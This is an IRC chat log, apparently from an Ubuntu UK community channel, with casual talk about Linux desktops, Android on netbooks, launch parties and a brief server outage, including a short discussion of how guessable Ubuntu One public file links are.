<MooDoo> czajkowski: we're all nice, even me an davmor2
<czajkowski> MooDoo: you and davmor2 are special
<mungojerry> "special"
<MooDoo> czajkowski: we love you too :)
<danfish> hah - so many meanings to 'special'
<czajkowski> danfish: shhh dont let one
<davmor2> that's why czajkowski used it
<MooDoo> danfish: you've been in the channel long enough, you work it out ;)
<danfish> czajkowski: they're quicker then I thought :P
<czajkowski> :)
 * czajkowski would like to strangle some teachers today 
<MooDoo> high five davmor2 and a prod to czajkowski
 * czajkowski rolls up her sleeves and digs into mail 
<davmor2> MooDoo: ^5
 * davmor2 annoyingly causes czajkowski sleeves to roll back down
<selinuxium> TheOpenSourcerer, Hi fella
 * czajkowski hugs selinuxium 
 * czajkowski kicks davmor2 and sends davmor2 and MooDoo to the naughty step 
<TheOpenSourcerer> wotcha selinuxium. Did AlanBell meet you yesterday?
 * selinuxium hugs right back at ya czajkowski
<dogmatic69> popey: you around?
<selinuxium> TheOpenSourcerer, He called me at 17:00 I had already left for the day.
<TheOpenSourcerer> Part timer.
<selinuxium> TheOpenSourcerer, :P
<davmor2> czajkowski: you can't send me to the naughty step I never got off it :P
<selinuxium> TheOpenSourcerer, Markets are open from 8 to 16:30
<selinuxium> TheOpenSourcerer, not often I actually get to leave on time..
<popey> dogmatic69: ya
<dogmatic69> the vid you tweeted last night... my 10.10 also sticks windows between the workspace
<popey> apparently this is normal
<MooDoo> czajkowski: oi you're not my mum, /me goes and sits on the naughty step
<davmor2> MooDoo: you brought your cushion this time I can't put up with another day of you whining how cold the step is :D
<MooDoo> davmor2: i'm going to sneak out behind the bike shed and have a fag, she won't know....
<czajkowski> MooDoo: so classy!
<MooDoo> czajkowski: i don't smoke really :)
<brobostigon> morning everyone
<kazade> sigh, I can never remember.. where does pbuilder dump the final package?
<davmor2> morning brobostigon
<brobostigon> mornning davmor2
<MooDoo> brobostigon: morning
<screen-x> I think I've been spoilt by green & blacks, but the chocolate on kitkats is way to sugary.
<brobostigon> MooDoo: good morning,
<HazRPG> anyone here use aptana in ubuntu?
<screen-x> HazRPG: Haven't used it, but looks interesting
<HazRPG> main reason I started using it in windows was because I wanted to fully switch over to ubuntu, shame aptana isn't in the repo, or have their own ppa
<screen-x> HazRPG: is it an eclipse plugin?
<HazRPG> screen-x: it can be used as an eclipse plugin yeah
<HazRPG> they have their own IDE that's based off eclipse too though
<screen-x> can you install it through the eclipse update thing?
<brobostigon> morning HazRPG :)
<HazRPG> I'm not sure lol
<HazRPG> brobostigon: morning :)
<HazRPG> screen-x: never tried it as an eclipse plugin
<HazRPG> never tried eclipse for that matter
<bobcoder> Netbeans?
<HazRPG> although, technically I have since I think aptana's IDE is pretty much customised version
<HazRPG> bobcoder: yeah I've used netbeans before for java coding
<bobcoder> i use it soley for php now
<HazRPG> really?
<HazRPG> is it any good for php?
<diplo> Same here, as does my colleague
 * screen-x used netbeans to create some awful GUIs at uni
<diplo> yeah
<bobcoder> yeah got datbase views and you can jump to function declarations etc
<bobcoder> so on one project,,, its all there
<HazRPG> nice
<diplo> My fave part is the projects side of things, can't find anything else to compete
<bobcoder> links in to phpdocumentor as well :-0
<brobostigon> yay, working gnome-shell from git, :)
<HazRPG> brobostigon: grats :D
<andylockran> howdy
<brobostigon> HazRPG: its working really well too.
<HazRPG> brobostigon: what's it like :)?
<HazRPG> andylockran: hey dude
<brobostigon> HazRPG: let me try and make screen shots,
<HazRPG> brobostigon: that would be awesome :)
<andylockran> how's things HazRPG ?
<HazRPG> andylockran: not bad, yourself ?
<HazRPG> hmm... ubuntu doesn't really have desktop widgets does it?
<brobostigon> ok, how do i make screenshots, please.
<MooDoo> brobostigon: press the print screen button?
<BigRedS> HazRPG: KDE sort-of does
<HazRPG> not a huge fan of KDE
<brobostigon> MooDoo: and that sticks theminto my /home ?
<HazRPG> I prefer my gnome panels and fonts it uses
<MooDoo> brobostigon: think it gives you the option of where to save them, try it :)
<BigRedS> brobostigon: ~/Desktop
<brobostigon> MooDoo: ok,cheers. :)
<brobostigon> BigRedS: :)
<HazRPG> my dislike for KDE is pretty much because of aesthetics though
<diplo> brobostigon, Shutter is a good screen shot app
<brobostigon> diplo: thnk you.
<HazRPG> brobostigon: not sure about gnome-shell - but pressing print screen shows up a dialogue to ask where to save it
<brobostigon> HazRPG: it did exacttly as expected, :)
<MooDoo> brobostigon: i have my uses :)
<brobostigon> HazRPG:  http://ubuntuone.com/p/ecU/ http://ubuntuone.com/p/ecW/
<brobostigon> MooDoo: :)
<brobostigon> its running smooth as a babies bottom,
<HazRPG> hmm, looks interesting
<brobostigon> it is,
<MooDoo> brobostigon: sigh....babies.....pooey nappies and late night and easrly mornings......
<brobostigon> and i like being able to message via empathy from the status bar.
<brobostigon> MooDoo: well, maybe not them.
<brobostigon> then*
<HazRPG> is there a way to get the old location bar on nautilus
<HazRPG> other than CTRL+L
<BigRedS> it's buried in gconf somewhere
<BigRedS> https://help.ubuntu.com/community/RestoreNautilusLocationBar
<BigRedS> HazRPG: ^
<HazRPG> BigRedS: thanks :)
<dogmatic69> ctrl + l maybe
<mungojerry> brobostigon, what were those ubuntuone links you shared up there ^^
<brobostigon> mungojerry: gnome-shell screen shots,
<dogmatic69> does anyone know how i can dowload a youtube video?
<mungojerry> were they shared from your u1 account?
<brobostigon> mungojerry: yes.
 * mungojerry worries
<brobostigon> mungojerry: why?
<mungojerry> 3 characters isn't enough for security - try entering pseudo-random digits
<mungojerry> i  just did it and got a CV, a photo of somebody ..
<brobostigon> thats how the ubuntu-one nautilus plugin spat the urls out like,
<HazRPG> hmm I just found byobu hidden in the applications menu
<mungojerry> brobostigon, howeer i can download all sorts of stuff try exhaustively trying combinations of 3 characters
<brobostigon> mungojerry: yes,
<brobostigon> mungojerry: may i suggest,it needs to be brought up with the ubuntuone guys.
<HazRPG> how does byobu do exactly?
<andylockran> I love it
<MooDoo> dogmatic69: http://ubuntuforums.org/showthread.php?t=547848
<screen-x> HazRPG: screen \o/
<brobostigon> HazRPG: did you see in my terminal screenshot thatthing atthe bottom ofmy terminal, thats part of byobu.
<HazRPG> brobostigon: yeah I noticed the "byobu" at the top too
<andylockran> http://ubuntuone.com/p/deU/
<HazRPG> currently have it open
<HazRPG> is it just a regular shell but sort of tabbed?
<BigRedS> HazRPG: effectively
<andylockran> yeah
<screen-x> HazRPG: yep, and detachable :)
<andylockran> tabbed, with a dashboard :)
 * HazRPG consults man byobu
<andylockran> it's basically screen witha  profile
<BigRedS> and you can 'minimise' it too
<HazRPG> cool
<screen-x> BigRedS: wut?
<s-fox> :)
<BigRedS> Ctrl-A,  D
<BigRedS> screen-x: going for analogies with windowed apps
<screen-x> ok ;-)
<screen-x> Also you can attach to the same session from multiple xterms or multiple machines, flipping fabulous.
<shauno> from multiple machines is fantastic.  this is my primary use of screen :)
<dogmatic69> MooDoo: nice one, thanks
<czajkowski> whoo cookies !
<screen-x> "Chrome 11 or Chrome 12 are set to receive an Omnibox extension that will allow users to launch web apps directly from the URL bar." What do you normally do with a url bar?
<davmor2> Someone say cookies
<andylockran> cookies
<screen-x> biscuits ;-)
<MooDoo> dogmatic69: you're welcome
<HazRPG> ooo why didn't I know about gconf sooner!
<gord> "launch web apps directly from the url bar". so thats different than going to the website that has the web app with the url bar?
<gord> i'm confused
<HazRPG> its like an ubuntu regedit! :D
<gord> HazRPG, oh no, and just as we are getting rid of gconf!
<screen-x> gord: as am I.
<HazRPG> gord: we are?
<HazRPG> :(
<gord> yup, gnome depreciated it for gnome 3
<gord> gsettings now with dconf backend
<HazRPG> lol but isn't it the same thing essentially :P?
<gord> no, but it is similiar
<brobostigon> idont think i should set it as default yet, to go to gnome-shell on boot, as i am sure it isnt fully stable yet. and as it is from gnome git, could break easily.
<HazRPG> man I love chuck!
<HazRPG> awesome show :)
<mungojerry> https://wiki.ubuntu.com/UbuntuOne/FAQ/ArePublishedFilesPrivate Are published files private? No. Published files are meant to be public files that you can easily share with anyone through a simple URL.
 * mungojerry plays another round of ubuntuone bingo :P
<AlanBell> mungojerry: http://ubingo.libertus.co.uk/
<mungojerry> http://ubuntuone.com/p/aaU/ ewwww
<AlanBell> mungojerry: see what you mean, just pick a url and download random stuff!
<mungojerry> yeah
<mungojerry> more like roulette than bingo i guess
<shauno> python's string operators are hurting my head.  think this is why I keep running home to php :/
<BigRedS> every time I have to write php i hit php.net for basically every function call
<BigRedS> it could really do with some consistency...
 * BigRedS pimps Perl a bit. well, *someone* has to
 * iclebyte-work would like an object orientated scripting language like python which uses real syntax like java.
<shauno> I just like languages that document everything.  with examples.
<BigRedS> the php manual is really good
<BigRedS> it's just a shame it's also really neccesary
 * iclebyte-work agrees with BigRed
 * iclebyte-work hates javadoc
<andylockran> perldoc is quite good
<andylockran> though for me, ipython is just the dogs balls.
<BigRedS> yeah, it's generally got the answers I want. That and perlmonks
<JamesTait> mungojerry: Published files are, by definition, public. They're not meant to be secure. If they're not suitable for viewing by the entire internet, they shouldn't be published.
<JamesTait> That's what we created shares for. :)
<BigRedS> Wait, is the issue that it's too easy to guess the url to other public files? I thought they were private files...
<BigRedS> where thought -~ "had assumed"
<mungojerry> jamestait, however not all users may realise quite how public they are. i believe dropbox has a long url , probably with a checksum so that least it offers at least a big more security
<brobostigon> it seems gnome-shell will only except my google calendar as input via evolution, ohwell.
<brobostigon> mind you, evolution is gnome default though,
<JamesTait> mungojerry: Short of popping up a dialogue box or something saying "You are publishing a file. This means it is public. Anyone on the internet can view it. Are you sure?", which we'd get equally slated for, I'm not sure how we could make it clearer.
<BigRedS> brobostigon: the gnome2ish one also uses evolution
<BigRedS> if you mean the one in the panel
<brobostigon> BigRedS: yes,i hate the config dialogs, as they dont scale properly onmy eeepc's screen.
<shauno> heh, that's been a bug for as long as I remember.  the general answer is "don't be silly, no-one uses that resolution anymore"
<brobostigon> balls.
<shauno> even tho I'd be willing to bet there's more people using 6-800px high now, then there was when it was first raised
<brobostigon> agreed.yes.
<mungojerry> support for eee pc 701 seems to have disappeared nowadays :(
<brobostigon> mungojerry: i dont see why,debian sid shouldnt work, wifi support should be there,with OSS drivers, so shouldnt be a problem, especially with a recent kernel.
<brobostigon> should*
<brobostigon> why not*
<directhex> there needs to be a cutoff point on resolutions
<mungojerry> brobostigon, which model eee do you have?
<brobostigon> mungojerry: a 900 ssd.
<brobostigon> directhex: very true, you cant possibly accomodate for every possible resolution, thats impossible.
<shauno> directhex: probably, but shipping an email client with the netbook distro that won't fit it's dialogs on netbook-sized screens seems silly to me
<directhex> shauno, one very quickly deprecated model of netbook
<directhex> shauno, anything that doesn't fit on a 9xx is a bug, btw
<mungojerry> i try never ever to be an early adopter, but when the eee 701 came out, i really needed it for some conferences i was attending.
<mungojerry> still use it at work occasionally too though, but my android has displaced it
<brobostigon> mungojerry: android x86 should run fine on your eeepc,btw, :)
<mungojerry> brobostigon: i tried it a while back, but no wifi, maybe they have come on since then
<brobostigon> mungojerry: they have, the most recent i tried, based on android 2.2, wifi worked fine here.
<mungojerry> cool - gonna try that
<mungojerry> what are you running on it now?
<selinuxium> theo
<directhex> i don't really get the attraction to android :/
<brobostigon> mungojerry: no,i am not. i am on ubuntu 10.10
 * mungojerry would like to attach a touch screen in his eee pc
<shauno> I tried that a few years ago, but gave up because my vendor seemed incapable of shipping touchscreens in one piece
<mungojerry> there are some thinner touchscreens but probably more Â£Â£
<mungojerry> some are even solderless
<shauno> lost track of how much I cost them shipping shattered screens to & from china because they refused to learn that two sheets of cardboard weren't sufficient rigidity
<BigRedS> directhex: I've noted that it's mostly WebOS users who are unimpressed by android...
<BigRedS> :)
<directhex> BigRedS, there's a reason for that
<BigRedS> yeah, I want a proper go on webOS
<mungojerry> +1
<brobostigon> qnx on the RIM playbook is going to be inteesring, i was always impressed with qnx.
<directhex> BigRedS, had a play with the emulator in the sdk?
<directhex> brobostigon, yeah... RTOS on a mobile device though is..... bad
<brobostigon> directhex: good point,
<BigRedS> directhex: nah, just a faff with a couple of real-life phones
<directhex> brobostigon, and the playbook ui is a 101% rip-off of webos
<directhex> even windows phone 7's new multitasking in the mango update is a clone of how webos does it
<directhex> ... i sound like a beos user, don't i
<brobostigon> directhex: i would partly, tend to agree,i havent tried either though yet.
<brobostigon> directhex: you start to sound like me, i am a BeOS/haiku-os user.
<brobostigon> sorry.
<HazRPG> oh wow!
<HazRPG> haha, I just made my time show in swatch .beats xD
 * HazRPG really wished that .beats would have took off more than it did
<brobostigon> HazRPG: try it in raw unixtime, and then doing the mathematics everytime you want to know what it means.
<HazRPG> brobostigon: haha I'd rather not :P
<brobostigon> :)
<HazRPG> I have a hard time understanding unixtime as it is :P
<HazRPG> I use it all the time for timestamps
<HazRPG> but I don't think I'll ever be able to work it out just by looking at it though :P
 * brobostigon 's tummy is rumbling, lunchtime me reckons.
 * mungojerry is rather peeved that an important meeting was arranged at lunchtime
<brobostigon> :(
<brobostigon> brb.
<ubuntuuk-planet> [Laura Czajkowski] Ubuntu Global Jam coming soon - http://www.lczajkowski.com/2011/02/23/ubuntu-global-jam-coming-soon/
<bigcalm> Exercise time :)
 * brobostigon heats up last nights curry.
<brobostigon> :)
<andylockran> haha
<andylockran> blog gone back to 2007 :)
<screen-x> andylockran: sounds like it would get on with my ups
<andylockran> http://zrmt.com
<screen-x> lime green :)
<HazRPG> that's odd, I thought ubuntu synced time with an ntp server as default!
 * HazRPG messing around with settings
<HazRPG> mungojerry: I would be too
<HazRPG> brobostigon: hurray \o/
<HazRPG> screen-x: although your ups seems to think its older than it really is ;)
<brobostigon> HazRPG: :)
<HazRPG> hmm... this is odd
<diplo> HazRPG, there is a bug about that
<diplo> It doesn't / didn't work correctly
<HazRPG> why are the default ntp servers some unknown ones I've never heard of before
<HazRPG> I thought everyone used www.pool.ntp.org
<diplo> One of the canonical guys was working on it, read it on the canonical blog
<HazRPG> about the ntp stuff you mean?
<diplo> yeah
<diplo> few weeks ago
<HazRPG> blog.canonical.com ?
<HazRPG> I can't see it anywhere
<diplo> I'll see if i can find it a mo
<HazRPG> cool, thanks
 * HazRPG checks to see if its on ubuntu planet
<diplo> chiark.greenend.org.uk
<diplo> Is the guy who posted it, canonical tech board person
<diplo> Posted on 6th december
<diplo> (Searched on other PC)
<HazRPG> ah
<HazRPG> I'll stick with uk.pool.ntp.org
 * brobostigon digs into chicken curry.
<brobostigon> good luck for the ubuntu libya team.
<brobostigon> considering the situation there,
<shauno> well, that was a bit messy, but I now have a lil script creating new procmail rules for any mailing lists I haven't already matched.
<shauno> be interesting to see how long it takes for that to explode in my face
<brobostigon> itv4, 11pm, quadrophenia, tonight, :)
<brobostigon> weirdest thing, gnome-shell doesnt seem to have a minimise-maximise window button/buttons, short of a double click for the action, on the title bar.
<brobostigon> only exception, seems to be chromium, which always does it own thing.
<HazRPG> time for some food myself I think
<brobostigon> :)
<shauno> one thing I'll never get used to seeing here, is the military doing security for bank drops
<popey> "here" ?
<shauno> ireland
<popey> ah
<mungojerry> i used to work near bank of england when they did their bullion dash
<shauno> it mostly feels 'just like home', but every now and again they do something odd like that which jarrs me
<mungojerry> whole fleet of police cars leading a convoy through streets on city of london, was great
<shauno> mungojerry: this is scaled down, but similar.  but using army trucks instead of police cars
<mungojerry> like GTA3 :P
<shauno> that's the bit that throws me off.  I grew up around military bases, so I'm perfectly used to MPs; but also perfectly used to the boundaries we don't see them cross.
<shauno> completely off-topic, just a random observation since they just drove past my window :)
<czajkowski> shauno: have to make use of them somehow
<shauno> dunno, I think having no use for them at all would be a noble goal :)
<czajkowski> so pay them to sit in the barricks and do nthing :)
<andylockran> how's things?
<mungojerry> i've just scoffed down pasta for lunch between meetings and i've got bright red lips that won't wipe off. they will think i put lipstick on for the meeting :S
<brobostigon> lol. :(
<BigRedS> haha
<mungojerry> i'm also trying to put android 2.2 on my eee..all in 20 min lunch. i really should prioritise eating
<brobostigon> yes, it better for you,not to rush eating.
<bobcoder> anyone use Funambol?
<Baikonur> isn't that tightrope walking
<bobcoder> :-) feels like it yeah
<bobcoder> I guess if i'm more specific .... sync-gui
<HazRPG> hey
<screen-x> straw?
<bobcoder> straw?
 * HazRPG has mcdonalds for lunch
<HazRPG> was shocked at the number of business men that was in
<HazRPG> must be some sort of convention that I'm missing out on
<screen-x> It was a very weird connection in my brain, with "hey" soundling like "hay"
<bobcoder> ah i c/sea/see
<screen-x> thats the one ;)
<bobcoder> you a coder, because that the way i think!
<screen-x> heh, I'm a sysadmin, if that counts :)
<bobcoder> yeah sorta :-)
<HazRPG> heh I always get weird connections like that too
<HazRPG> bald/bold/bowled
<HazRPG> some people make them sound exactly the same >_<
<bobcoder> :-P
<dwatkins> screen-x: sometimes when people say "hey!" to me I reply "Hay is for horses" ;)
<screen-x> :)
<HazRPG> heh, I use "hay's what horses eat" sometimes
<HazRPG> depends how pedantic I want to be
<screen-x> "What do you do if you see a postman?" "Tie your horse to it, man"
<HazRPG> xD
<DJones> STOP THE WORLD, I want to get off...My Dad has just managed to install, set up and connect his new broadband service with minimal assistance including a wired machine, 2 wireless laptops running Win 7 & Ubuntu....I'm going looking for the flying pigs now
<bobcoder> Does he want a job? :-)
<seaslug> I don't belieeeeve it
<screen-x> DJones: trained him well you have
<HazRPG> DJones: force is clearly strong in that one!
<DJones> He's not done badly for a 70 year old
<HazRPG> wow
<HazRPG> impressive
<DJones> I'm impressed anyway, I was fully expecting to have to go over tonight to connect everything
<HazRPG> so you should be
<DJones> All I had to do was change his email over at the weekend to get away from the old ISP's accounts
<dwatkins> lol, oops - I'd created a 12 GB file with grep...
<HazRPG> hehe
<czajkowski> AlanBell: how many were at last  nights event?
<czajkowski> 20+
<AlanBell> 50+
<czajkowski> really..
<HazRPG> ooo wow!
<HazRPG> electric sheep is in the ubuntu repo :D
 * HazRPG does happy dance
<DJones> HazRPG: Do Android dream of ......?
<HazRPG> indeed ;)
<HazRPG> you read the book too?
<DJones> Yep, many years ago
<gord> is it on the android market? because that would make more sense
<DJones> lol
<HazRPG> lol
<mungojerry> brobostigon: did you have any problems joining wireless networks when running adnroid 2.2 on your eee?
<brobostigon> mungojerry: it did hesistate, but with some pushing it did it, finally.
<mungojerry> hmm
<mungojerry> it scans and attempts to join, but doesn't seem to work
<brobostigon> mungojerry: what chipset does yours have, mines an atheros here.
<mungojerry> yeah atheros too
<brobostigon> hmm,
<mungojerry> i'm running the live cd for eee
<brobostigon> i know the one.
<brobostigon> no idea. to be truthful.
<mungojerry> thats ok, thought i'd ask
<brobostigon> sorry.
<mungojerry> np
<brobostigon> mungojerry: theremust be a wayof doing it, as it does say, it works fully on eeepc, ontheir site.
<mungojerry> it's so much faster than the 1.6 i tried a while ago
<brobostigon> :)
<brobostigon> it is,yes.
<brobostigon> their gingerbread port will be interesting.
<mungojerry> htc sense is far prettier than stock android tho
<brobostigon> i dont perticulerly go for sense, it seems to add lag and things like extra memeory and cpu overhead.
<mungojerry> \o/ yay..
<mungojerry> solution : disable ethernet before enabling wifi
<brobostigon> ah,
<brobostigon> :)
<mungojerry> "Wifi and Ethernet will not work at the same time on any x86 build AFAIK."
<brobostigon> hmm, :(
<brobostigon> weird. ohwell.
<mungojerry> better get back on topic again :P
<brobostigon> android is linux, and OSS, so ontopic, :)
<bigcalm> Chickens, cheese, minecraft, trains, cake & roundabouts only. Not linux please
<davmor2> awaits the flaming that czajkowski is about to give after reading her twitter feed
<brobostigon> bigcalm: you forgot real ale.
<bigcalm> brobostigon: beacuse I didn't see it in the topic
<bigcalm> Though a pint of spitfire would go down willingly right now
<brobostigon> bigcalm: :)
<mungojerry> open parentheses too
<mungojerry> and happy happy joy joy \o/
<HazRPG> restarting x, brb
<mungojerry> bored with android on my eee already :(
<mungojerry> i think i just like the challenge of getting it working :)
<brobostigon> :)
<HazRPG> hmm, I can't seem to get dropbox to stop saying "Unable to monitor filesystem"
<HazRPG> seems I have to type that command and restart dropbox each time my system starts
 * HazRPG made a bash script to automate this process for me
<BigRedS> I approve of this sort of symptom-hiding :)
<dwatkins> at least it's only when you reboot
<dwatkins> you only reboot once a year, right?
<zleap> hi all
<zleap> what sort of things go on at a Launch party,  Is having isos or cd';s of latest release essential
<X3N> sometimes
<brobostigon> iwould say, have iso's ready, and a few cd's, and ask people to bring usb or sd.
<zleap> ok
<X3N> also it's a social occasion
<Azelphur> when I went to launch party it was a pub with drinking and talking :P
<Azelphur> I didn't see one laptop o.O
<brobostigon> so curry and real ale :)
<zleap> cool, i am looking at doing one in Paignton for 11.04
 * mungojerry never goes anywhere without a usb stick with ubuntu or ubuntu+1 on it
<X3N> what about the toilet?
<BigRedS> The ones I've been to, there's not been any need for laptops
<mungojerry> you never know when a livecd environemnt is needed
<zleap> meeting on friday to discuss eventys etc,  so after that I will know more,  i am not going to the actual meeting as its internal for the staff at the venue, but i have had positive feedback to the idea so far
<zleap> i have loads of 10.10 cd's here,  at the moment anyway
<mungojerry> official or unofficial?
<zleap> official
<Neoti01> zleap : i'll take one ..
<zleap> ok,  where u based
<mungojerry> should really get some of those - part of our job is to run IT helpdesk for ~ 200 staff
<Neoti01> nottingham
<zleap> ah
<mungojerry> most of them are linux friendly
<brobostigon> mungojerry: :)
<DJones> popey: http://www.theregister.co.uk/2011/02/23/minecraft/
<zleap> so just a social thing that sounds more like a normal lug meet
<mungojerry> minecraft look slike a bigger time sink than WoW
<shauno> luckily, I disagree :)  I can play it for 20 hours a day, and then not play for a week.  never had that benefit with wow, where I was 'expected' to be there at a given time, 3-4 days a week
<zleap> i need to try and reach out to local techies
<mungojerry> zleap, tried nottingham uni?
<zleap> hmm,  i am in Devon
<mungojerry> lol
<zleap> i was thinking more locally
<Neoti01> lol
<mungojerry> somebody else said nottigham
<Neoti01> ME!
<mungojerry> is there a devon uni :P
<zleap> may see if I can contact exeter and plymouth student unions once I have set up something
<zleap> i know plymouth has a computing socieity
<zleap> i guess exeter does too
<mungojerry> zleap are you on the devon & cornwall lug mailing list
<zleap> yes
<mungojerry> the photo has a high beard ratio i notice
<BigRedS> zleap: uni comp socs might be able to provide/help with venues?
<zleap> ok,
<zleap> will have a look,  but i find it easier to look locally for venues,  i know I will go ask about stuff,  plus this venue won't cost us anything
<X3N> hum
 * X3N shouts for popey 
<X3N> someone get the popey-projector
<brobostigon> someone check the popey-craft map ?
<mungojerry> i think he's off looking at oggcamp venue
 * X3N shines the silhouette of elvis into the sky
<brobostigon> lol
<X3N> ubuntu-uk.org has gone down
<DJones> Maybe its been swallowed up by popey's minecraft server
<X3N> hmm maybe
<davmor2> I'm guessing it is popey
<AlanBell> Daviey: ^^
<Daviey> *sigh*
<X3N> aha Daviey do you have access to reboot it?
<dutchie> is this the WP3/apache OOM thing that popey's been struggling with?
<Daviey> I don't have the serial detials on this machine :/
<AlanBell> dutchie: ssh seems down too (on the magic super secret port)
<Daviey> wordpress does seem to like causing OOM's IME.
<Daviey> Shhhhh,  "it's super sekkret"
<dutchie> is it 1234?
<ali1234> it better not be
<brobostigon> lol
<Daviey> I suspect the box is OOm'ing
<kirrus> Daviey: I've not had any trouble with wordpress causing OOMs?
<X3N> yeah, I put it in uber debug mode though, so hopefully we'll have a better idea on why
<brobostigon> hhgttg, 42 i reckon.
<Daviey> kirrus, I'm seeing it on two servers now
<Daviey> quite random
 * AlanBell has servers running wordpress cheerfully
<kirrus> Weird.. we have some really high-load wordpress sites, haven't noticed a thing.
<X3N> same, though they're not using ubuntu
<kirrus> Ditto, on Debian Lenny here
<mungojerry> if it's like drupal, it depends how many modules you enable
<mungojerry> some are killers
<screen-x> google.com/latitude is 404ing :(
<brobostigon> agreed, screen-x :(
<kirrus> screen-x: try google.co.uk/latitude
<screen-x> kirrus: same
<davmor2> screen-x: I blame popey his mincraft world is taking down the t'interweb one server at a time :D
<brobostigon> works here.
<kirrus> Huh, that is a weird 404 error
<kirrus> looks like it's redirecting, but something's broke their end
<brobostigon> fail also.
<screen-x> How am I supposed to know when to collect my wife if latitude is down...?
<brobostigon> does android maps latitude work?
<screen-x> I don't have an android phone.
<Azelphur> how are you supposed to find a transaction ID in paypal?
<davmor2> screen-x: you could use the old way and ring her
<screen-x> davmor2: I knew someone would say that ;-) I almost put it in <rehtorical> tags
<davmor2> screen-x: happy to oblige
<jacobw> does anyone run ubuntu on an msi wind u135[dx]
<jacobw> i hate it when family members buy new computers and expect me to set them up :|
<brobostigon> jacobw: i get it all the time.
<X3N> Daviey: got the bitfolkers to reboot
<davmor2> jacobw: come from being the "You know, he does things with computers" one
<screen-x> I'm usually happy to help, as long as it doesnt involve windows..
<jacobw> i don't mind setting up a new computer with ubuntu, but i don't like messing with windows in any capacity
<jacobw> :)
<screen-x> ^5
<jacobw> window is highly unsuited for netbooks anyway
<Daviey> X3N, cool
<davmor2> jacobw: it isn't Microsoft said so
<jacobw> windows as a gui concept is unsuited to netbooks
<jacobw> davmor2: ha
<screen-x> latitude is back :)
<mungojerry> re the uupc website, i noticed that the rss feeds aren't working anymore
<mungojerry> i think since the new countdown page
<mungojerry> my gpodder started complaining a few days ago
<popey> mungojerry: which specific feed url?
<popey> I tested them yesterday
<popey> 17:02:15 < X3N> yeah, I put it in uber debug mode though, so hopefully we'll have a better idea on why
<popey> be nice if you had told us that
<X3N> ok
<X3N> popey: php is logging to a file with as much logging info as possible
<popey> cool beans
<popey> let me know once you have read that :)
<mungojerry> popey, correction,the feeds are working again , must have been related to the reboot of webserver earlier :P
<X3N> it is read
<popey> haha
<popey> X3N: fixed?
<jacobw> o/
<HazRPG> \o
<X3N> hmm there's a newer version of IXR that might fix it.
 * MartijnVdS waits for his Nexus One OTA
<AlanBell> czajkowski: want a lift tomorrow?
<czajkowski> AlanBell: thank you for the offer but I've to be there for 8
<HazRPG> MartijnVdS: yeah I've been waiting too
<MartijnVdS> HazRPG: at least the rollout has officially started now, according to Google
<MartijnVdS> _finally_
<HazRPG> :P
<HazRPG> I wonder how the prioritise the rollout...
 * jacobw Froyo
<MartijnVdS> Maybe we should ask a Googler to get the update.zip for us :)
<AlanBell> czajkowski: ewww, I don't want to be up that early.
<czajkowski> AlanBell: ok
<HazRPG> reckon they just go through the list of MAC address or serial numbers in order for the rollouts?
<AlanBell> I can take you back again though, if you are going by train
<HazRPG> MartijnVdS: heh I have always wondered why they don't have a manual download on the site
<HazRPG> surely with the number of servers they own, one download file isn't going to be a big issue
<czajkowski> AlanBell: thank would be great thanks
<AlanBell> np
 * AlanBell wonders how much mess is in the car at the moment
<czajkowski> AlanBell: food and drinks @ 6
<AlanBell> nom
<mungojerry> hazrpg, yo mentioned a dropbox problem earlier.
<mungojerry> there's a solution besides running a script when u reboot :P
<MartijnVdS> HazRPG: the file is 20-90MB
<MartijnVdS> HazRPG: (conflicting reports)
<HazRPG> exactly, it wouldn't hurt the google servers for a manual download
<mungojerry> hang on, what's the update? 2.3 for stock android?
<brobostigon> mungojerry: aosp 2.3 for nexus one.
 * mungojerry is a sense user
<mungojerry> :(
<mungojerry> however 2.2 was the release i really needed..not sure what other features are required on my phone at this stage
<brobostigon> mungojerry: sense is only a gui ontop ofandroid, which true version of android do youhave?
<MartijnVdS> brobostigon: sense is nonsense ;)
 * brobostigon has cm6.1 (android 2.2.1)
<brobostigon> MartijnVdS: agreed.
<mungojerry> forgot to leave work :S
<MartijnVdS> mungojerry: got locked in? :)
<mungojerry> nah, just noticed the time and i gotta get to the football stdium before kick off
<MartijnVdS> HazRPG: I have USB debugging enabled, and I'm running logcat on the device ("adb shell" from the SDK)
<MartijnVdS> HazRPG: it shows a lot of coolness that your phone does when it's not doing anything :)
<HazRPG> MartijnVdS: ooo, shiny!
<HazRPG> is your nexus rooted?
<MartijnVdS> no
<andylockran> meant to resize a picture 60%, it was about 3000px wide
<andylockran> in the end resized it to 60 pixels
<HazRPG> \o/
<andylockran> hate imagemagick
<HazRPG> andylockran: heh, unlucky
<MartijnVdS> HazRPG: only change is US firmware instead of European (so I get updates when Google sends them out, not when Vodafone gets off its arse)
<HazRPG> andylockran: I have a feeling you have to assign it in pixels
<MartijnVdS> HazRPG: you do have to enable "USB debugging" under "Development" in "Applications" in preferences though
<HazRPG> MartijnVdS: I bought my phone straight from google, so I have a feeling mine is the US firmware too
<MartijnVdS> HazRPG: it would, yes
<HazRPG> MartijnVdS: I keep meaning to develop some apps for the android
<HazRPG> just never seem to have the time for it
<HazRPG> (or the ideas when I'm actually sat in front of my PC)
<MartijnVdS> same here :)
<MartijnVdS> I have the SDK
<MartijnVdS> I've written "Hello World"
<MartijnVdS> then I logged into IRC ;P
<zleap> ok nothing official for a lauch party as yet but I have a page up for it :) http://www.zleap.net/ubuntulaunch.php
<MartijnVdS> HazRPG: you need to configure your music playing app ;)_
<HazRPG> MartijnVdS: configure it for what?
<HazRPG> on my phone?
<HazRPG> zleap: Hmm, you hosting an ubuntu release party?
<HazRPG> wow Devon!
<HazRPG> that's miles away
 * HazRPG *faints*
<MartijnVdS> HazRPG: lastfm :)
<zleap> well its not official yet,  but I put up a page ready, hence its says TBA
<HazRPG> MartijnVdS: oh, heh yeah I forgot last.fm died for radio play recently
<zleap> hopefully i can get the peeps at the lighthouse to agree and take it from there
<MartijnVdS> HazRPG: only on mobile devices.. not on the desktop
<HazRPG> MartijnVdS: wait, configure it how?
 * HazRPG feels like he missed something
<HazRPG> zleap: yeah I noticed :)
<zleap> ah
 * HazRPG might have to see if I can possibly get a few friends to share fuel/travel costs and see if we can get down if it is on...
<HazRPG> I have a feeling it would be a minimum of 6hrs drive away though :P
<zleap> you could do one where you are
<MartijnVdS> oop norf :)
<zleap> the more we do the merrier,  better coverage of the country
<screen-x> "I am out of the office until Wednesday 2rd Feb." I wonder when that is.
<MartijnVdS> screen-x: in a few years
<zleap> screen-x, till when ?
<screen-x> zleap: not sure, was in an email I recieved yesterday
<zleap> oh, lol
<zleap> i would guess they mean 23rd feb (today)
